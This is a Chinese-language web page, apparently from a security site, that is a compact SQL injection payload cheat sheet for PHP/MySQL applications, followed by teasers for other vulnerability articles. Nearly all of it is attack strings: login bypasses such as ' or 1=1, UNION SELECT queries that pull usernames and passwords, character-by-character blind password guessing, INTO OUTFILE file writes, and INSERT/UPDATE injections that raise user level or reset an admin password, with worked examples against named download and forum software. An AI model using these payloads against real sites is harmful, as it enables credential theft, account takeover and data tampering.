PHP注射一路小跑

所属分类: 网络安全 / 漏洞分析 阅读数: 200
收藏 0 赞 0 分享

  php注射库

  ' or 1=1

  ' or '1=1

  '/*

  '%23

  ' and password='mypass

  id=-1 union select 1,1,1

  id=-1 union select char(97),char(97),char(97)

  id=1 union select 1,1,1 from members

  id=1 union select 1,1,1 from admin

  id=1 union select 1,1,1 from user

  userid=1 and password=mypass

  userid=1 and mid(password,3,1)=char(112)

  userid=1 and mid(password,4,1)=char(97)

  and ord(mid(password,3,1))>111 (ord函数很好用,可以返回整形的)

  ' and LENGTH(password)='6(探测密码长度)

  ' and LEFT(password,1)='m

  ' and LEFT(password,2)='my

  …………………………依次类推

  ' union select 1,username,password from user/*

  ' union select 1,username,password from user/*

  =' union select 1,username,password from user/* (可以是1或者=后直接跟)

  99999' union select 1,username,password from user/*

  ' into outfile 'c:/file.txt (导出文件)

  =' or 1=1 into outfile 'c:/file.txt

  1' union select 1,username,password from user into outfile 'c:/user.txt

  select password FROM admins where login='John' INTO DUMPFILE '/path/to/site/file.txt'

  id=' union select 1,username,password from user into outfile

  id=-1 union select 1,database(),version() (灵活应用查询)

  常用查询测试语句,

  select * FROM table where 1=1

  select * FROM table where 'uuu'='uuu'

  select * FROM table where 1<>2

  select * FROM table where 3>2

  select * FROM table where 2<3

  select * FROM table where 1

  select * FROM table where 1+1

  select * FROM table where 1--1

  select * FROM table where ISNULL(NULL)

  select * FROM table where ISNULL(COT(0))

  select * FROM table where 1 IS NOT NULL

  select * FROM table where NULL IS NULL

  select * FROM table where 2 BETWEEN 1 AND 3

  select * FROM table where 'b' BETWEEN 'a' AND 'c'

  select * FROM table where 2 IN (0,1,2)

  select * FROM table where CASE WHEN 1>0 THEN 1 END

  例如:夜猫下载系统1.0版本

  id=1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1

  union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user

  union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1

  id=10000 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and groupid=1

  union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 (替换,寻找密码)

  union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,1,1))=49 (验证第一位密码)

  union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,2,1))=50 (第二位)

  union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,3,1))=51

  …………………………………………………………

  例如2:灰色轨迹 变换id进行测试(meteor)

  union%20(select%20allowsmilies,public,userid,'0000-0-0',user(),version()%20FROM%20calendar_events%20where%20eventid%20=%2013)%20order%20by%20eventdate

  union%20(select%20allowsmilies,public,userid,'0000-0-0',pass(),version()%20FROM%20calendar_events%20where%20eventid%20=%2010)%20order%20by%20eventdate

  构造语句:

  select allowsmilies,public,userid,eventdate,event,subject FROM calendar_events where eventid = 1 union (select 1,1,1,1,1,1,1 from user where userid=1)

  select allowsmilies,public,userid,eventdate,event,subject FROM calendar_events where eventid = 1 union (select 1,1,1,1,username,password from user where userid=1)

  union%20(select%201,0,2,'1999-01-01','a',password%20FROM%20user%20where%20userid%20=%205)%20order%20by%20eventdate

  union%20(select%201,0,12695,'1999-01-01','a',password%20FROM%20user%20where%20userid=13465)%20order%20by%20eventdate

  union%20(select%201,0,12695,'1999-01-01','a',userid%20FROM%20user%20where%20username='sandflee')%20order%20by%20eventdate (查沙子的id)

  (select a FROM table_name where a=10 AND B=1 ORDER BY a LIMIT 10)

  select * FROM article where articleid='$id' union select * FROM……(字段和数据库相同情况下,可直接提交)

  select * FROM article where articleid='$id' union select 1,1,1,1,1,1,1 FROM……(不同的情况下)

  特殊技巧:在表单,搜索引擎等地方写:

  "___"

  ".__ "

  "%

  %' ORDER BY articleid/*

  %' ORDER BY articleid#

  __' ORDER BY articleid/*

  __' ORDER BY articleid#

  $command = "dir c:";system($command);

  select * FROM article where articleid='$id'

  select * FROM article where articleid=$id

  1' and 1=2 union select * from user where userid=1/* 句中变为

  (select * FROM article where articleid='1' and 1=2 union select * from user where userid=1/*')

  1 and 1=2 union select * from user where userid=1

  语句形式:建立一个库,插入:

  create DATABASE `injection`

  create TABLE `user` (

  `userid` int(11) NOT NULL auto_increment,

  `username` varchar(20) NOT NULL default '',

  `password` varchar(20) NOT NULL default '',

  PRIMARY KEY (`userid`)

  ) ;

  insert INTO `user` VALUES (1, 'swap', 'mypass');

  插如一个注册用户:

  insert INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', '$username', '$password', '$homepage', '1');

  "insert INTO membres (login,password,nom,email,userlevel) VALUES ('$login','$pass','$nom','$email','1')";

  insert INTO membres (login,password,nom,email,userlevel) VALUES ('','','','','3')#','1')

  "insert INTO membres SET login='$login',password='$pass',nom='$nom',email='$email'";

  insert INTO membres SET login='',password='',nom='',userlevel='3',email=''

  "insert INTO membres VALUES ('$id','$login','$pass','$nom','$email','1')";

  update user SET password='$password', homepage='$homepage' where id='$id'

  update user SET password='MD5(mypass)' where username='admin'#)', homepage='$homepage' where id='$id'

  "update membres SET password='$pass',nom='$nom',email='$email' where id='$id'";

  update membres SET password='[PASS]',nom='',userlevel='3',email=' ' where id='[ID]'

  "update news SET Votes=Votes+1, score=score+$note where idnews='$id'";

  长用函数:

  DATABASE()

  USER()

  SYSTEM_USER()

  SESSION_USER()

  CURRENT_USER()

  比如:

  update article SET title=$title where articleid=1 对应函数

  update article SET title=DATABASE() where id=1

  #把当前数据库名更新到title字段

  update article SET title=USER() where id=1

  #把当前 MySQL 用户名更新到title字段

  update article SET title=SYSTEM_USER() where id=1

  #把当前 MySQL 用户名更新到title字段

  update article SET title=SESSION_USER() where id=1

  #把当前 MySQL 用户名更新到title字段

  update article SET title=CURRENT_USER() where id=1

  #把当前会话被验证匹配的用户名更新到title字段

  :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

  $req = "select * FROM membres where name like '%$search%' ORDER BY name";

  select * FROM membres where name like '%%' ORDER BY uid#%' ORDER BY name

  select * FROM membres where name like '%%' ORDER BY uid#%' ORDER BY name

  select uid FROM admins where login='' OR 'a'='a' AND password='' OR 'a'='a' (经典)

  select uid FROM admins where login='' OR admin_level=1#' AND password=''

  select * FROM table where msg like '%hop'

  select uid FROM membres where login='Bob' AND password like 'a%'#' AND password=''

  select * FROM membres where name like '%%' ORDER BY uid#%' ORDER BY name

更多精彩内容其他人还在看

DEDECMS任意修改文章漏洞(exp)

  这个漏洞不足以得到马儿 但能修改任何文章 也算是一个严重的漏洞!   废话不说   经典对白 看代码!   membersoft_edit.php   01if(empty($dopost)) //如果这里是空也就是直接访问这个文件   02{   03 //读取归档信息  
收藏 0 赞 0 分享

eWebeditor漏洞的修补

  漏洞原理   漏洞的利用原理很简单,请看Upload.asp文件:   任何情况下都不允许上传asp脚本文件   sAllowExt = Replace(UCase(sAllowExt), "ASP", "")   修补方法:用以下语句
收藏 0 赞 0 分享

发掘MaosinCMS网站系统漏洞与测试

  最近的动易CMS漏洞可以说着实火了一把,本文写的CMS虽然没有动易功能强大,但同样存在注入漏洞。这种漏洞用工具是扫不到的,可以说注入已经由显式转为隐式了,必须查看源代码才有可能发现潜在的漏洞。   适合读者:入侵爱好者前置知识:无发掘MaosinCMS网站系统漏
收藏 0 赞 0 分享

关于bo-blog的安全隐患

  bo-blog是一款外观好看,而且当前流行的个人博客系统,在很多下载站你都可以找到这套程序,而且甚至有很多安全界的人都使用着这套php+txt的程序,但是这套程序里有些安全隐患,可能会被人利用去做一些破坏。   首先开门见山,我们说说它的绝对路径暴露问题.......
收藏 0 赞 0 分享

野草weedcmsV5.2.1 任意删除文件漏洞

  member.php   if($action=='edit_member_ok'){ //member.php?action=edit_member_ok   check_request(); //检查来路   if(!check_login()){ //检测是否登录会员
收藏 0 赞 0 分享

EimsCms v5.0 XSS+CSRF获取Shell方法

  影响版本:EimsCms v5.0   官方网站:http://www.eimscms.com/   漏洞类型:跨站XSS   漏洞描述:未对Book.asp邮箱等处进行符号转义,导致XSS跨站执行漏洞。   ------GetShell-----   [1] 在Book.a
收藏 0 赞 0 分享

动易4.03上传漏洞

  动易4.03上传漏洞。2005-1-10 就出来了,一直没有公布。   看黑客防线的攻关第3关用的是动易所有公布出来了。   影响版本: 动易4.03   上面的是动易的上传代码,从上面分析,我们可以看到,它明显存在着上传漏洞。重要的漏洞代   码在于这一句   FileEx
收藏 0 赞 0 分享

利用%5c绕过验证

  说到%5c,你是不是想起了当前流行的那个%5c暴库漏洞,呵呵,本文就是对%5c利用的探索(呵呵,当然有我提出的新东东,或许对你有帮助哦^_^)。   好,我们先追根溯源,找到那个漏洞的老底。看看绿盟2001年的漏洞公告:_bug&do=view&bug_id=
收藏 0 赞 0 分享

DISCUZ X1.5 本地文件包含漏洞

  DISCUZX1.5 本地文件包含,当然是有条件的,就是使用文件作为缓存。   config_global.php   $_config['cache']['type'] = ‘file’;   function cachedata($cachenam
收藏 0 赞 0 分享

PHP在安全方面的另类应用

  1.远程文件   PHP是一门具有丰富特性的语言,它提供了大量函数,使程序员能够方便地实现各种功能,远程文件就是一个很好的例子:   代码      $fp=@Fopen($url,"r") or die ("cannot open $url&q
收藏 0 赞 0 分享
查看更多